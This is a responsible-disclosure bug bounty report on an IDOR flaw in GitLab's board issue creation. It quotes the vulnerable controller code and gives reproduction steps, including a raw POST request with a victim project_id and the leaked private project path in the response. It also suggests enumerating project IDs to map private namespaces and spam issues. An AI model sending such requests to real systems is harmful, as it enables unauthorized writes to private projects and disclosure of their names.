IDOR - Create issues in any project via the Boards::IssuesController
HackerOne report #1685105 by vakzz
on 2022-08-30:
Report
Summary
When creating an issue for a board list, the authorization check is done on the board parent but the issue is then created with a user supplied project_id
parameter which can point to any project id.
Relevant sections from https://gitlab.com/gitlab-org/gitlab/-/blob/v15.3.1-ee/app/controllers/concerns/boards_responses.rb
def project
[@]project ||= if board.group_board?
Project.find(issue_params[:project_id])
else
board_parent
end
end
def authorize_create_issue
list = List.find(issue_params[:list_id])
action = list.backlog? ? :create_issue : :admin_issue
authorize_action_for!(project, action)
end
def issue_params
params.require(:issue)
.permit(:title, :milestone_id, :project_id)
.merge(board_id: params[:board_id], list_id: params[:list_id])
end
The supplied project
argument is merged into the issue params, but the existing project_id
seems to take precedence so the project is ignored:
https://gitlab.com/gitlab-org/gitlab/-/blob/v15.3.1-ee/app/services/issues/build_service.rb#L10
def execute
filter_resolve_discussion_params
[@]issue = model_klass.new(issue_params.merge(project: project)).tap do |issue|
ensure_milestone_available(issue)
end
end
The spam check is also disabled when creating issues this way as the spam_params
are nil:
https://gitlab.com/gitlab-org/gitlab/-/blob/v15.3.1-ee/app/services/boards/issues/create_service.rb#L35
def create_issue(params)
# NOTE: We are intentionally not doing a spam/CAPTCHA check for issues created via boards.
# See https://gitlab.com/gitlab-org/gitlab/-/issues/29400#note_598479184 for more context.
::Issues::CreateService.new(project: project, current_user: current_user, params: params, spam_params: nil).execute
end
This allows an attacker to create an issue in any private/public project by supplying its ID, and get a serialized IssueEntity
returned which including the project path/path_with_namespace.
An attacker could also iterate through a large number of IDs to map project ids to namespaces and spam issues in private projects.
The initial idea to use this bug was to try and discover the project id of the current gitlab ctf challenge (https://about.gitlab.com/blog/2022/08/24/capture-the-flag-in-our-bug-bounty-program/). While I believe this would be possible, it would also spam a lot of legitimate customers by creating issues in their private repos so I have not tried it. Using some very rough maths on some public group ids either side of the ctf group puts the ctf project id around 38019468 which could be a starting point when using this bug and iterate either side.
Steps to reproduce
- As the victim user, create a new private project and note the id
- As the attacker, create a new project
- Go to Project information -> Labels and create a new label
- Make sure Burp/Caido is running
- Go to issues -> boards and create a new list using this label
- Looking at the graphql api call for
createBoardListEE
you should see the board id in the request and the list id in the response - Copy the
x-csrf-token
andCookie
header (or just the _gitlab_session cookie) from the last request - Create a new post request to
/-/boards/BOARD_ID/lists/LIST_ID/issues
with the paramsissue[title]=a
andissue[project_id]=VICTIM_PROJECT_ID
with the copied cookie and csrf token - An issue will have been created in the victims project and you will receive a serialized version:
POST /-/boards/4695757/lists/13048891/issues HTTP/1.1
Host: gitlab.com
x-csrf-token: xxx
Cookie: _gitlab_session=xxx
Content-Length: 41
issue[title]=a&issue[project_id]=38989626
{
"id": 114143854,
"iid": 1,
"title": "a",
"confidential": false,
"due_date": null,
"project_id": 38989626,
"relative_position": null,
"time_estimate": 0,
"closed": false,
"project": {
"id": 38989626,
"path": "super_secret",
"path_with_namespace": "wbowling/super_secret"
},
"assignees": [],
"labels": [
{
"id": 26639871,
"title": "aaa",
"color": "#6699cc",
"description": "",
"text_color": "#FFFFFF",
"priority": null
}
],
"reference_path": "#1",
"real_path": "/wbowling/super_secret/-/issues/1",
"issue_sidebar_endpoint": "/wbowling/super_secret/-/issues/1.json?serializer=sidebar_extras",
"toggle_subscription_endpoint": "/wbowling/super_secret/-/issues/1/toggle_subscription",
"assignable_labels_endpoint": "/wbowling/super_secret/-/labels.json?include_ancestor_groups=true",
"type": "ISSUE",
"blocked": false
}
Impact
Allows an attacker to create issues in private repositories they do not have access to and to iterate through project ids to discover the projects group and path.
Examples
Victim project - https://gitlab.com/wbowling/super_secret/-/issues
Attacker (https://gitlab.com/vakzz-h1) used the board https://gitlab.com/-/boards/4695757/lists/13048891/issues to create issues in the project above
What is the current bug behavior?
The project_id
parameter is unchecked and ends up taking precedence over the project
param
What is the expected correct behavior?
The project_id
probably does not need to be passed down to the create service
Relevant logs and/or screenshots
Output of checks
This bug happens on GitLab.com
Impact
Allows an attacker to create issues in private repositories they do not have access to and to iterate through project ids to discover the projects group and path.
How To Reproduce
Please add reproducibility information to this section: